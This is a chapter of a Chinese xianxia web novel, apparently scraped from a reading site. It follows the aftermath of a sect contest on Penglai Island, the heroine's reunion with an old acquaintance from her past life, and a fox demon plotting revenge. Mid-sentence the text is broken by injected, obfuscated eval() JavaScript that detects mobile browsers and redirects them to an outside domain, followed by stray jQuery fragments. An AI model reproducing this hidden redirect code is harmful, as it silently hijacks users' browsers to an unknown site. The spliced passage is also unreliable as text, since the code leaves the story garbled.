23. 蓬莱岛(十三)

作品:《这个师兄超强却过分咸鱼

    “恭喜少阳宗,恭喜玉隐真人收了个好徒弟。”


    有一个人带头,在场其他宗门的带队人纷纷站起来恭贺。各自说着比试中,少阳宗弟子如何地团结,如何地有勇有谋,以及其他的可圈可点之处。


    当然,有人被夸赞,相对应的,便有人受责骂。


    ——万剑宗的席位。


    简阳丘和另一位弟子抬着担架,伤员赵泽浑身缠满白色纱布,脑袋亦没能幸免。唯有露出的一双眼睛可以传达他的部分情绪。


    带队长老李长京一甩衣袖,语气愤愤道:“你们不必帮他求情。赵泽在秘境中的所作所为卑劣无耻,丧尽天良,不配再继续做我万剑宗的弟子。”


    赵泽瞪大眼睛,无端的恐慌一点点蔓延至心头。李长京善恶分明,嫉恶如仇,他的行为举止确确实实地触碰到了他的底线。若是赢得比试,他尚且能编出理由堵住他的嘴。可一朝失算,落得这样的下场,他着实无力应对。


    他支支吾吾,喉咙里发出奇怪的声音。简阳丘俯身凑近了听,赵泽说的是,他知道错了,求长老网开一面,不要将他逐出万剑宗。


    “他在说什么?”李长京问。


    简阳丘垂眸掩去眸中翻涌的情绪,淡淡道:“回长老的话,师兄在喊疼。”


    “疼?被他打伤,被他恶意羞辱的弟子们难道就不疼吗?就该让他长长记性!”李长京斜睨他一眼,没好气道,“秘境里的事,我已经用留影石记录下来,不日将会送回万剑宗,相信宗主和其他几位长老自有定夺。”


    周围陆陆续续有目光汇聚到万剑宗的席位,李长京朝他们拱拱手,然后弯下腰深深地施了一礼。他放低姿态,语气诚恳道:“诸位,万剑宗弟子赵泽品行不端,手段残忍,给各家弟子造成不少损伤。我先在此给你们赔个不是。”


    “我向你们保证,待我回到万剑宗,必定对他严惩不贷。他的过错,万剑宗也会做出相应的补偿。”


    话说到这份上,其他宗门的带队人不好发作,气也消了大半。


    合欢宗的长老第一个站出来打圆场:“有李长老这句话,我们便心安了。”


    法宗长老道:“李长老摊上赵泽,属实倒霉。”


    其他人表示认同。


    ——少阳宗的席位。


    俞永霁把准备好的木盒交给云不尽,拍拍他的肩膀,脸上笑意又增加几分:“做得好,晚上回府喝两杯。”


    云不尽推拒道:“其实这次出谋划策,出力最多的人是师妹。”


    曲挽青:“所以,我们一致决定把天灵芝留给师妹。”


    徐非淮点头。


    俞永霁看向祝辞盈,她没多想,拒绝了。


    “单凭我个人的力量,根本不可能赢得比试。我们是一个团队,按道理,奖品应该平分。”


    第一名的奖品有天灵芝,飞舟和一个心愿。


    俞永霁道:“可以。把天灵芝分成四份,炼成丹药,虽然效用减去大半,但足够媲美高级丹药。对了,在离开蓬莱岛之前,你们有什么心愿需要我帮忙完成的?”


    曲挽青眸光一亮,她等的就是俞永霁这句话:“有有。俞叔叔,我很喜欢蓬莱岛的人文风景,能否让我用留影石做记录?”


    俞永霁哈哈一笑:“没问题。”


    云不尽脸色微红:“俞叔,我听说蓬莱岛的月老庙是三十四州最灵验的,我想去求两根红绳。”


    “你小子居然还是个痴情的!”俞永霁用揶揄的目光将他上下打量一番,然后拿出一张金卡递给他,笑嘻嘻道,“小事一桩。带上这张卡,可以走绿通。”


    徐非淮难得说出两句完整的话:“俞叔,我想去药铺抓点药。还有,再去灵兽阁采购一些东西。”


    俞永霁大手一挥,给他一大袋灵石:“灵石不够用的话,直接报我的名字。”


    最后轮到祝辞盈,她神色郑重地道:“我想请俞叔帮我炼丹。”


    炼丹……


    俞永霁面露难色:“这个愿望我恐怕不能为你实现。俞家有规定,自祖父那辈起,俞家后人不再炼丹。”


    那师兄怎么办?


    祝辞盈咬紧下唇。


    她拼死拿到七叶幻枝和金玄花原本就是为了将它们炼成丹药,然后给谢让尘服用,帮他重塑灵根。


    三十四州,唯有俞家世代炼丹,他们的炼丹技术炉火纯青。所以,俞叔是最佳人选,若连他都无法帮她,那她该找谁?


    玉隐真人安慰她道:“盈盈,俞家确有这条家规。既然灵植已经拿到手,待日后多加打听再找人炼丹也不迟。”


    也只能这样了。


    俞永霁刚想让她换个其他心愿,自己的玉简忽然闪了一下。


    他点开玉简,看到发信人,手一抖差点没拿稳。


    祖父传来的信息,他要见祝辞盈。


    “那个,盈盈,你现在能跟我回俞府一趟吗?我家祖父说要见你一面。”他说。


    “好。”


    祝辞盈路过谢让尘的位置,顿住脚:“师兄你身体不舒服吗?脸色好白。”


    谢让尘靠在木椅里,挤出一丝力气说自己没事。


    然下一刻,在他略微震惊的目光中,祝辞盈的手扣上他的腕脉。


    至精至纯的灵力不由分说,霸道地涌入他疲累的身躯。


    仅一瞬,她松开手。


    煞有其事地说:“睡觉时,莫要着凉。”


    她随俞永霁离开,谢让尘默默盯着她的背影,手腕处仍在发烫。她的灵力像山缝中流淌的溪流,一点点汇入他的七筋八脉,冲散他的疲惫。


    心脏微微地颤动。


    谢让尘轻轻弯下唇角,脑海里少女以萧当剑,漫天白羽流星为她所用的画面一闪而过。


    *


    俞府下人在门口见着俞永霁回来,连忙禀告道:“老爷,老家主在祠堂等着你。”


    “知道了。”


    俞永霁带着祝辞盈直奔祠堂。


    祠堂坐落在俞府西边。金丝楠木制成的大门敞开一道仅容一人通过的缝隙。


    俞永霁和祝辞盈一前一后走进去。


    “祖父,我把盈盈带过来了。”


    背对着他的老人应了声,道:“你出去吧,我有话要单独和她说。”


    俞永霁和祝辞盈对视一眼:“盈盈安心,祖父脾气很好,是个好相处的人。你不必害怕。”


    祝辞盈点头。


    俞永霁出去时顺带合上门。


    “说说吧,你为何会开天眼?”老人说话的同时,转过身来。


    他的头发胡须全白,脸颊瘦削。一双眼睛的瞳仁又黑又亮,仿佛蕴含着勃勃生机。三百多岁的年纪,纵然身体老去,脸上的皱纹却生的极少。


    依稀可见他年轻的模样。


    祝辞盈早有心理准备,可当真正看见他的脸时,眼眶仍然一湿。隔着薄薄一层水雾,将他与印象里那个十多岁的男孩重合在一起。


    “别人教我的。”她说。


    俞浩初微微一愣:“开天眼一术乃三百年前我俞家中人所创。这些来,我从未传授给任何人,包括俞永霁和他父亲。现在,除了我,当无人会用。”


    “那么,教你的人是谁?”


    祝辞盈没立刻回答。她动身走近摆放灵牌的长桌,左手拿过一旁的三根长香,右手燃起灵焰点燃,然后举过头顶拜了三拜插进一个灵牌前的香炉里。


    俞浩初并非到了老眼昏花的地步,是以,他看清楚了那灵牌上刻的一行字,“爱女俞氏闺名霏霏生西莲花位”。


    “你,你……”他惊讶地张了张嘴。


    祝辞盈深吸一口气道:“传授我开天眼法门的正是俞家中人,俞霏霏。”


    俞浩初微张的嘴巴,再也合不上。


    良久,祠堂里的两道声音重叠在一起:


    “我叫祝辞盈。”


    “你是祝姐姐!”


    俞浩初热泪直流:“太好了,太好了,你没死…我以为你三百年前就……”


    过去百年,俞浩初的模样变化很大。


    祝辞盈心情复杂地听他讲话。


    在仙魔大战结束后,蓬莱岛主曾亲自去了一趟清微宗,遍地的血肉碎末,令他的精神大受打击。


    从那以后,他一夜白头,不顾宗族反对为女儿立了牌位,放进祠堂。俞浩初时常在后半夜听见他的屋子里传出咳嗽声,直到某日族会上,岛


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14737436|157372||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    主咳出血,把家主之位传给他,然后早早离世。


    “父亲其实很疼爱姐姐。自姐姐与他意见不合,偷偷离开蓬莱岛的那日起,他便无时无刻不在后悔。但两人碍于面子,谁也不肯低头,竟连最后一面都未见着。”


    祝辞盈心中沉沉地叹一口气:“师姐离世前想必也在后悔。”


    祠堂里悲伤的气氛久聚不散。


    俞浩初悲痛惯了,早早从悲伤的情绪中走出来:“祝姐姐,你能活下来,姐姐一定很高兴。”


    “浩初,除了大师兄,没有人能在魔君手下活着。”祝辞盈如实说道。


    尽管真相打击人,她也不想欺瞒他。


    俞浩初眼里希冀的光渐渐熄灭。


    祝辞盈继续道:“不知因何缘故,我转生到这个时代,并意外恢复了前世的记忆。所以,我才能认出你。”


    这三百年是她偷来的时光。


    “无论怎样都是祝姐姐的机缘。”俞浩初真心地祝福她逢凶化吉。


    他朝俞霏霏地灵牌拜了拜:“希望姐姐的在天之灵能时时刻刻保佑祝姐姐。”


    他对祝辞盈说:“有什么需要,我定拼尽全力帮扶。”


    祝辞盈还真的有事需要他帮忙:“我在逆境中采到了七叶幻枝和金玄花,之前想着求俞家主帮忙炼成丹药,但碍于俞府的规矩没能办成此事。现在,我需要你的帮助,请你通融一下,助我完成此事。”


    “因为有一个对我来说很重要的人在等着这枚丹药。”


    “这有何难。”俞浩初叫来俞永霁,命他尽快准备炼丹。


    “祖父,俞家人不能炼丹,这不是你定下的规矩吗?”俞永霁狐疑道。他心底更多的震惊,盈盈究竟跟祖父说了什么,让一向死板的他主动破了自己定下的规矩。


    俞浩初笑着踹他一脚:“规矩是死的,人是活的。这句话你没听过?”


    “是,孙儿知道了。”俞永霁扶住差点被踹断的腰,一步步走向门外,给祝辞盈抛去一个“不愧是你”的眼神。


    祝辞盈的心这才彻底静下来。


    她在祠堂里静静坐了一会儿,方才离开。


    *


    玉隐真人,曲挽青一行人回到俞府已经是傍晚时分。俞永霁安排好下人招待他们用饭,自己又一头扎进炼丹室。


    “老爷让搬来的酒酿,贵客请品尝。”


    下人给玉隐真人和云不尽斟了酒。


    曲挽青和徐非淮喝的依旧是度数不高的果酒,到祝辞盈时,谢让尘叫停下人准备斟酒的动作,自己主动掂起一旁的茶壶给她倒茶。


    曲挽青看见,小声和徐非淮道:“师弟你看,江师兄多心细。”


    徐非淮天生嗅觉灵敏,少女身体凑过来时,更加清晰地闻到了她的发香。


    于是,他面色古怪,白皙的脸庞浮起一丝红晕,讷讷点头:“嗯。”


    另一边。


    祝辞盈轻轻抿了口茶:“夜间喝茶,师兄想害我整晚睡不着觉吗?”


    谢让尘陪笑道:“是我考虑不周。如果你真的无法入睡,我陪你唠嗑,就当赔罪了。”


    照他的说法,今夜她要失眠。


    “我说笑的,别当真。”


    等一桌饭吃得七七八八时,祝辞盈主动离开,回房睡觉。


    路过庭院,瞧见秋千时,她停住脚,远远的看了片刻。廊道里一片漆黑,她的影子在月光照耀下拉得很长。


    只要向前迈出一脚,她便能踏入光明地带,通往门洞尽头的那架秋千。


    师姐曾经坐过的秋千。


    但她没有迈开脚。


    最终走入更黑的深处。


    *


    化龙河。


    一团白色的光团逐渐生长出手脚,头和耳朵……


    他趴在河面,透过清澈的河水看到自己的身影,九条白色的尾巴一一舒展。


    九尾白狐望向渡青山深处地带,咧开嘴恶狠狠地笑了起来。


    元婴期修为的大妖哪有那么容易死的,那女修还是太年轻。


    他不会轻易放过她的。


    白狐迈开蹄子,奔入深山。


    他要和他的老朋友,那条臭虫做个交易。